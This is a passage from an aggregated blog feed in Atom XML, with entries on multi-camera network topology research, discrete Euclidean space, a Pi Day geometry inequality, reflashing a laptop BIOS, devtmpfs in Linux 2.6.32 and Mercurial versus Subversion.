&lt;p&gt;On one hand, we have the motion-based methods, which are typically targeted at &lt;a href=&quot;http://en.wikipedia.org/wiki/Video_tracking&quot;&gt;tracking&lt;/a&gt; applications. &lt;cite title=&quot;T.J. Ellis, D. Makris, and J.K. Black, 'Learning a Multi-Camera Topology,' Proc. Joint IEEE Wkshp. on Visual Surveillance and Performance Evaluation of Tracking and Surveillance, 2003, pp. 165-171.&quot;&gt;Ellis et al.&lt;/cite&gt; temporally correlate objects transiting between adjacent fields of view, after establishing each camera&amp;#8217;s entry and exit zones. Similarly, &lt;cite title=&quot;Z. Mandel, I. Shimsoni, and D. Keren, 'Multi-Camera Topology Recovery from Coherent Motion,' Proc. 1st ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2007, pp. 243-250.&quot;&gt;Mandel et al.&lt;/cite&gt; correlate simultaneous motion between views to establish overlap. &lt;cite title=&quot;H. Detmold, A. Van Den Hengel, A. Dick, A. Cichowski, R. Hill, E. Kocadag, K. Falkner, and D.S. Munro, 'Topology Estimation for Thousand-Camera Surveillance Networks,' Proc. 1st ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2007, pp. 195-202.&quot;&gt;Detmold et al.&lt;/cite&gt; propose the &lt;i&gt;exclusion&lt;/i&gt; algorithm, which is basically the opposite and potentially more robust: if there is motion in one view, and not in another, then those views cannot overlap (initially all views are assumed to overlap). &lt;cite title=&quot;R. Farrell and L.S. Davis, 'Decentralized Discovery of Camera Network Topology,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Farrell and Davis&lt;/cite&gt; present a slightly different model, dubbed the &lt;i&gt;transition&lt;/i&gt; model, which focuses even more on tracking as it expresses the probability of transitions between views; this is also determined from observations of motion.&lt;/p&gt;
&lt;p&gt;On the other hand, we have the feature-based methods, typically used as a precursor to or substitute for multi-camera &lt;a href=&quot;http://en.wikipedia.org/wiki/Camera_resectioning&quot;&gt;calibration&lt;/a&gt;. &lt;cite title=&quot;D. Devarajan and R.J. Radke, 'Distributed Metric Calibration of Large Camera Networks,' Proc. 1st Workshop on Broadband Advanced Sensor Networks, 2004.&quot;&gt;Devarajan and Radke&lt;/cite&gt; first proposed the &lt;i&gt;vision graph&lt;/i&gt; without specifying an automated means of obtaining it; they later approached this topic in &lt;cite title=&quot;Z. Cheng, D. Devarajan, and R.J. Radke, 'Determining Vision Graphs for Distributed Camera Networks Using Feature Digests,' EURASIP Jrnl. on Advances in Signal Processing, vol. 2007, 2007.&quot;&gt;Cheng et al.&lt;/cite&gt; using distributed matching of &lt;a href=&quot;http://en.wikipedia.org/wiki/Scale-invariant_feature_transform&quot;&gt;SIFT&lt;/a&gt; features. &lt;cite title=&quot;G. Kurillo, Z. Li, and R. Bajcsy, 'Wide-Area External Multi-Camera Calibration using Vision Graphs and Virtual Calibration Object,' Proc. 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;Kurillo et al.&lt;/cite&gt; also use common features to build their vision graph for calibration. In &lt;cite title=&quot;A. Mavrinac, X. Chen, and K. Tepe, 'Feature-Based Calibration of Distributed Smart Stereo Camera Networks,' 2nd ACM/IEEE Intl. Conf. on Distributed Smart Cameras, 2008.&quot;&gt;my ICDSC 2008 paper&lt;/cite&gt;, the vision graph is a theoretical upper limit for the grouping and calibration graphs, which are built from 3D feature matches via &lt;a href=&quot;http://en.wikipedia.org/wiki/Iterative_Closest_Point&quot;&gt;registration&lt;/a&gt;. &lt;cite title=&quot;P. Kulkarni, P. Shenoy, and D. Ganesan, 'Approximate Initialization of Camera Sensor Networks,' Proc. 4th European Conf. on Wireless Sensor Networks, 2007, pp. 67-82.&quot;&gt;Kulkarni et al.&lt;/cite&gt; use a calibration target to explicitly match spatial points, and build an actual tessellation of 3D space to represent the range and degree of overlap of the cameras&amp;#8217; fields of view. Finally, &lt;cite title=&quot;E.J. Lobaton, P. Ahammad, and S.S. Sastry, 'Algebraic Approach for Recovering Topology in Distributed Camera Networks,' Proc. ACM/IEEE Intl. Conf. on Information Processing in Sensor Networks, 2009.&quot;&gt;Lobaton et al.&lt;/cite&gt; use scene features (in their case, bisecting lines indicating wall delineations) to construct their algebraic topological model, which is proposed as a substitute for full calibration in certain (unspecified) secondary applications.&lt;/p&gt;
&lt;p&gt;So is generic topological information about multi-camera networks only useful for tracking and calibration, the two problem areas that appear to have spawned every topological model in the literature? Are there any other applications that simply don&amp;#8217;t have any convenient information of their own for building such models?&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Snap To Grid</title>
		<link href="http://blog.mavrinac.com/2010/03/snap-to-grid/"/>
		<id>http://blog.mavrinac.com/?p=126</id>
		<updated>2010-03-17T15:33:48+00:00</updated>
		<content type="html">&lt;p&gt;I like &lt;cite title=&quot;G.T. Herman, Geometry of Digital Spaces, Birkhäuser, 1998.&quot;&gt;Gabor Herman&lt;/cite&gt;&amp;#8216;s definition of discrete Euclidean space. He defines, for any positive real number &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cdelta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\delta&quot; title=&quot;\delta&quot; class=&quot;latex&quot; /&gt; and any positive integer &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=N&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;N&quot; title=&quot;N&quot; class=&quot;latex&quot; /&gt;:&lt;/p&gt;
&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cdelta%20%5Cmathbb%7BZ%7D%5EN%20%3D%20%5C%7B%20%28%20%5Cdelta%20x_1%2C%20%5Cldots%2C%20%5Cdelta%20x_N%20%29%20%7C%20x_n%20%5Cin%20%5Cmathbb%7BZ%7D%20%5Ctext%7B%20for%20%7D%201%20%5Cleq%20n%20%5Cleq%20N%20%5C%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\delta \mathbb{Z}^N = \{ ( \delta x_1, \ldots, \delta x_N ) | x_n \in \mathbb{Z} \text{ for } 1 \leq n \leq N \}&quot; title=&quot;\delta \mathbb{Z}^N = \{ ( \delta x_1, \ldots, \delta x_N ) | x_n \in \mathbb{Z} \text{ for } 1 \leq n \leq N \}&quot; class=&quot;latex&quot; /&gt;
&lt;p&gt;This chops N-space up into a square (cubic, etc.) &lt;a href=&quot;http://en.wikipedia.org/wiki/Bravais_lattice&quot;&gt;Bravais lattice&lt;/a&gt;, with primitive vectors of magnitude &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cdelta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\delta&quot; title=&quot;\delta&quot; class=&quot;latex&quot; /&gt;. Each point in the discrete space is then associated with a &lt;a href=&quot;http://en.wikipedia.org/wiki/Primitive_cell&quot;&gt;primitive cell&lt;/a&gt; (or &lt;a href=&quot;http://en.wikipedia.org/wiki/Voronoi_diagram&quot;&gt;Voronoi&lt;/a&gt; neighbourhood, in Herman&amp;#8217;s parlance) consisting of all points in the associated continuous space which are closer to that discrete point than any other discrete point.&lt;/p&gt;
&lt;p&gt;This relationship to continuous space makes discretization of otherwise continuous sets &amp;#8212; or regions, as say the &lt;a href=&quot;http://en.wikipedia.org/wiki/Geographic_information_system&quot;&gt;GIS&lt;/a&gt; people &amp;#8212; a snap (pun intended). In the simplest case, it is equivalent to basic &lt;a href=&quot;http://en.wikipedia.org/wiki/Sampling_(signal_processing)&quot;&gt;sampling&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;center&gt;&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/b/bc/Voxels.svg/287px-Voxels.svg.png&quot; height=&quot;165&quot; alt=&quot;Voxels&quot; /&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;In 3-space, these are essentially &lt;a href=&quot;http://en.wikipedia.org/wiki/Voxel&quot;&gt;voxels&lt;/a&gt;, which are intuitive for visual thinkers like me, and allow for neat tricks from the computer graphics literature like &lt;cite title=&quot;Y.K. Liu, H.Y. Song, and B. Žalik, 'A General Multi-Step Algorithm for Voxel Traversing Along a Line,' Computer Graphics Forum, vol. 27, 2008, pp. 73-80.&quot;&gt;voxel traversals&lt;/cite&gt;&lt;/p&gt;.</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Pi Day Madness</title>
		<link href="http://blog.mavrinac.com/2010/03/pi-day-madness/"/>
		<id>http://blog.mavrinac.com/?p=106</id>
		<updated>2010-03-15T01:10:35+00:00</updated>
		<content type="html">&lt;p&gt;You have a right-handed Cartesian coordinate basis of a three-dimensional Euclidean space, with axes &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;, &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=y&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;y&quot; title=&quot;y&quot; class=&quot;latex&quot; /&gt;, and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z&quot; title=&quot;z&quot; class=&quot;latex&quot; /&gt;. You&amp;#8217;re given some &lt;em&gt;spatial-directional vectors&lt;/em&gt; of the form &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%2C%5Crho%2C%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z,\rho,\eta)&quot; title=&quot;(x,y,z,\rho,\eta)&quot; class=&quot;latex&quot; /&gt;, where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho&quot; title=&quot;\rho&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ceta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\eta&quot; title=&quot;\eta&quot; class=&quot;latex&quot; /&gt; are, respectively, the inclination angle (from the positive &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z&quot; title=&quot;z&quot; class=&quot;latex&quot; /&gt;-axis zenith) and the azimuth angle (measured right-handed from the positive &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;-axis) of an associated direction, which is unrelated to the direction of vector &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;. How do you tell if the direction &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28%5Crho%2C%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(\rho,\eta)&quot; title=&quot;(\rho,\eta)&quot; class=&quot;latex&quot; /&gt; of such a vector falls inside the exterior half-space defined by the plane normal to &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;?&lt;/p&gt;
&lt;p&gt;If it helps, visualize it this way. Travel to a point in space &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;. Then, find a point on the unit sphere surrounding &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt; defined by &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28%5Crho%2C%5Ceta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(\rho,\eta)&quot; title=&quot;(\rho,\eta)&quot; class=&quot;latex&quot; /&gt; (like latitude and longitude). Now, cut all of space in half with a plane passing through &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt; and perpendicular to the line between the origin and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%2Cz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y,z)&quot; title=&quot;(x,y,z)&quot; class=&quot;latex&quot; /&gt;. Is the point on the unit sphere in the same half of space as the origin?&lt;/p&gt;
&lt;p&gt;If &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%20%3D%20y%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x = y = 0&quot; title=&quot;x = y = 0&quot; class=&quot;latex&quot; /&gt;, it&amp;#8217;s dead simple: &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cpi%2F2&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \pi/2&quot; title=&quot;\rho \geq \pi/2&quot; class=&quot;latex&quot; /&gt;. Doesn&amp;#8217;t even matter what &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ceta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\eta&quot; title=&quot;\eta&quot; class=&quot;latex&quot; /&gt; is.&lt;/p&gt;
&lt;p&gt;If &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=y%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;y = 0&quot; title=&quot;y = 0&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%20%3E%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x &amp;gt; 0&quot; title=&quot;x &amp;gt; 0&quot; class=&quot;latex&quot; /&gt;, there&amp;#8217;s no effect on the azimuth, so it&amp;#8217;s still pretty straightforward: &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cpi%2F2%20%2B%20%5Csin%5Ceta%5Carctan%28x%2Fz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \pi/2 + \sin\eta\arctan(x/z)&quot; title=&quot;\rho \geq \pi/2 + \sin\eta\arctan(x/z)&quot; class=&quot;latex&quot; /&gt;. The &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Carctan%28x%2Fz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\arctan(x/z)&quot; title=&quot;\arctan(x/z)&quot; class=&quot;latex&quot; /&gt; accounts for the tilt of the plane, and the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Csin%5Ceta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\sin\eta&quot; title=&quot;\sin\eta&quot; class=&quot;latex&quot; /&gt; accounts for the azimuth.&lt;/p&gt;
&lt;p&gt;In the general case where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%2C%20y%20%5Cnot%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x, y \not= 0&quot; title=&quot;x, y \not= 0&quot; class=&quot;latex&quot; /&gt;, and thus the azimuth angle relative to the plane&amp;#8217;s direction of tilt differs from the absolute azimuth angle, it gets a bit trickier. First, we need the magnitude of &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y)&quot; title=&quot;(x,y)&quot; class=&quot;latex&quot; /&gt; for the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Carctan&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\arctan&quot; title=&quot;\arctan&quot; class=&quot;latex&quot; /&gt; bit:&lt;/p&gt;
&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=r%20%3D%20%5Csqrt%7Bx%5E2%20%2B%20y%5E2%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;r = \sqrt{x^2 + y^2}&quot; title=&quot;r = \sqrt{x^2 + y^2}&quot; class=&quot;latex&quot; /&gt;
&lt;p&gt;Now, for &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z%20%3E%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z &amp;gt; 0&quot; title=&quot;z &amp;gt; 0&quot; class=&quot;latex&quot; /&gt;, what we want is &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cpi%2F2%20%2B%20%5Ccos%28%5Ceta%20-%20%5Ctheta%29%5Carctan%28r%2Fz%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \pi/2 + \cos(\eta - \theta)\arctan(r/z)&quot; title=&quot;\rho \geq \pi/2 + \cos(\eta - \theta)\arctan(r/z)&quot; class=&quot;latex&quot; /&gt;, where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ctheta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\theta&quot; title=&quot;\theta&quot; class=&quot;latex&quot; /&gt; is the right-handed angle of &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2Cy%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x,y)&quot; title=&quot;(x,y)&quot; class=&quot;latex&quot; /&gt; from the positive &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;-axis. Conceptually, subtracting &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ctheta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\theta&quot; title=&quot;\theta&quot; class=&quot;latex&quot; /&gt; is like transforming the azimuth angle into a new coordinate system where the plane tilt is back in the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt;-&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z&quot; title=&quot;z&quot; class=&quot;latex&quot; /&gt; plane (as if &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=y%20%3D%200&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;y = 0&quot; title=&quot;y = 0&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x%20%3D%20r&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x = r&quot; title=&quot;x = r&quot; class=&quot;latex&quot; /&gt;). We could leave it like this, and have the reader calculate &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Ctheta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\theta&quot; title=&quot;\theta&quot; class=&quot;latex&quot; /&gt; as:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://upload.wikimedia.org/math/0/b/e/0be75b33e66b958ba98cd9a73ef5ef9a.png&quot; height=&quot;110&quot; alt=&quot;A Giant Ugly Mess&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But, with a well-known trigonometric identity we can make it a bit prettier:&lt;/p&gt;
&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Crho%20%5Cgeq%20%5Cfrac%7B%5Cpi%7D%7B2%7D%20%2B%20%5Cleft%28%5Cfrac%7By%7D%7Br%7D%5Csin%5Ceta%20%2B%20%5Cfrac%7Bx%7D%7Br%7D%5Ccos%5Ceta%5Cright%29%20%5Carctan%5Cleft%28%5Cfrac%7Br%7D%7Bz%7D%5Cright%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\rho \geq \frac{\pi}{2} + \left(\frac{y}{r}\sin\eta + \frac{x}{r}\cos\eta\right) \arctan\left(\frac{r}{z}\right)&quot; title=&quot;\rho \geq \frac{\pi}{2} + \left(\frac{y}{r}\sin\eta + \frac{x}{r}\cos\eta\right) \arctan\left(\frac{r}{z}\right)&quot; class=&quot;latex&quot; /&gt;
&lt;p&gt;More than a few scrap half-pages were harmed during the making of this inequality.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Reflashing a BIOS from Windows</title>
		<link href="http://blog.free.draisey.ca/node/98"/>
		<id>http://blog.free.draisey.ca/98 at http://blog.free.draisey.ca</id>
		<updated>2010-03-06T17:34:23+00:00</updated>
		<content type="html">&lt;p&gt;Beforing putting debian on an Acer Aspire 1690 that I inherited, I decided to reflash the BIOS to the latest version (the new one dates March 1st 2006 --- whippee!) figuring that would give me the best chance of success in putting this thing to sleep and having it wake up again.  I have never had a great deal of luck doing this but one can only hope.&lt;/p&gt;
&lt;p&gt;To reflash the BIOS I downloaded a windows bios flash programme from the Acer web site that came with a whole raft of dire warnings but I plunged ahead anyhow.  The reflash itself went painlessly complete with a back-up of the old BIOS and a compatibility check so I was reasonably happy that I wouldn&amp;#039;t brick my computer but I hadn&amp;#039;t reckoned on Windows freexing up solid not letting me shut down the machine.  It was working as  anice room heater and nightlight but little else.  I started to sweat a little when holding down the power button did nothing at all --- this is a BIOS override of the OS and it wasn&amp;#039;t doing anything at all!&lt;/p&gt;
&lt;p&gt;So I pulled the wall power, flipped it over and pulled the battery.  It started just fine from then on.  One presumes that Windows had deep tenticles into the BIOS and was expecting different behaviour from the reflashed version, which makes one wonder why write a reflash programme in windows at all?  Does this make sense to anyone?&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Doing my thing for Google</title>
		<link href="http://www.latenightpc.com/blog/archives/2010/01/20/doing-my-thing-for-google"/>
		<id>http://www.latenightpc.com/65639 at http://www.latenightpc.com</id>
		<updated>2010-01-20T05:27:48+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;I've done a lot of different software on a lot of different platforms. Today I started doing my thing for Google. &lt;/p&gt;
&lt;p&gt;Google does some pretty amazing work and I'm excited that I can be a part of that. I'll also be glad to let go of the hard parts of my consulting business. Even though I won't be consulting through Late Night PC any more I'll keep the site going with more of the same. That includes Drupal, SVG, scripting, server-side stuff and whatever else. It might also mean a little more of the personal and opinion posts that I haven't done much of lately. The site has always been a mix of personal and professional stuff that I make and write about. What I write here remains my opinion and doesn't represent anything official from Google. My blog has always been just what works for me and that's not going to change.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Linux 2.6.32.3 and tmpdevfs</title>
		<link href="http://blog.free.draisey.ca/node/97"/>
		<id>http://blog.free.draisey.ca/97 at http://blog.free.draisey.ca</id>
		<updated>2010-01-07T04:43:01+00:00</updated>
		<content type="html">&lt;div class=&quot;field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Tags:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;http://blog.free.draisey.ca/taxonomy/term/7&quot;&gt;wuug&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;So I downloaded the patches to get to 2.6.32.3 from my 2.6.31 set-up and ran make oldconfig --- it gave me the option to run devtmpfs and mount it on /dev before starting /sbin/init.  Why not.  So a short compile later and a reboot and debian lenny likes devtmpfs.  Nice to know.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">My Story of Mercurial and Subversion</title>
		<link href="http://www.latenightpc.com/blog/archives/2009/12/02/my-story-of-mercurial-and-subversion"/>
		<id>http://www.latenightpc.com/65638 at http://www.latenightpc.com</id>
		<updated>2009-12-02T20:45:38+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;I'm really getting attached to using &lt;a href=&quot;http://hgbook.red-bean.com/read/&quot;&gt;Mercurial&lt;/a&gt;. I've been a &lt;a href=&quot;http://svnbook.red-bean.com/en/1.5/svn-book.html&quot;&gt;Subversion fan&lt;/a&gt; for years but when Ben Collins-Sussman (one of the authors of Subversion) &lt;a href=&quot;http://blog.red-bean.com/sussman/?p=272&quot;&gt;mentioned he's been using Mercurial&lt;/a&gt;, I took that as a pretty solid endorsement. I'm not saying I'm jumping ship but I definitely have found some of the things I can do with hg to be pretty convenient compared to the way I've been using Subversion. I've used the two for different types of projects though. My subversion repositories have held the code and resources for my websites for a long time. I've also worked on shared C/C++ applications with &lt;a href=&quot;http://www.codedread.com/blog&quot;&gt;Jeff&lt;/a&gt; and stored our stuff on an SVN server. It's really convenient since it works well across OSes and I have a central server that I can reach from pretty much wherever I want.&lt;/p&gt;
&lt;p&gt;Mercurial on the other hand, I first set up to get at current &lt;a href=&quot;http://hg.mozilla.org/&quot;&gt;Mozilla source code&lt;/a&gt;. Then the &lt;a href=&quot;http://golang.org/doc/install.html#tmp_45&quot;&gt;Go project code&lt;/a&gt; came out and it's in a Mercurial repo too. So I had this handy little hg command ready to go on all my computers. When I put stuff in a Subversion repo, I feel like I should be organized. I think this comes from the way I've set up the SVN server I use the most. Now I get an idea for some project that I want to try out with Go and I write a little code. After that I just go to the command line and do hg init followed by hg commit (roughly). Every machine is a server and a client. If the project turns in to something I want to share I can either share it locally with hg serve or I can send it to a public repo like Google Code by doing hg push. &lt;/p&gt;
&lt;p&gt;The sharing step is one place that's easier than Subversion. The way I know to do the same thing with svn is more complex: I have to create the repo and check out a working copy of the code. Of course whatever is in a new repo is just an empty folder so if I've already written some code I have to copy some files around to populate the working copy &amp;amp; check it in.&lt;/p&gt;
&lt;p&gt;Subversion is a very mature project and I don't intend to move away from it. But Mercurial has made me more relaxed about creating a repo so I can just start coding - with revision control.&lt;/p&gt;</content>
		<author>
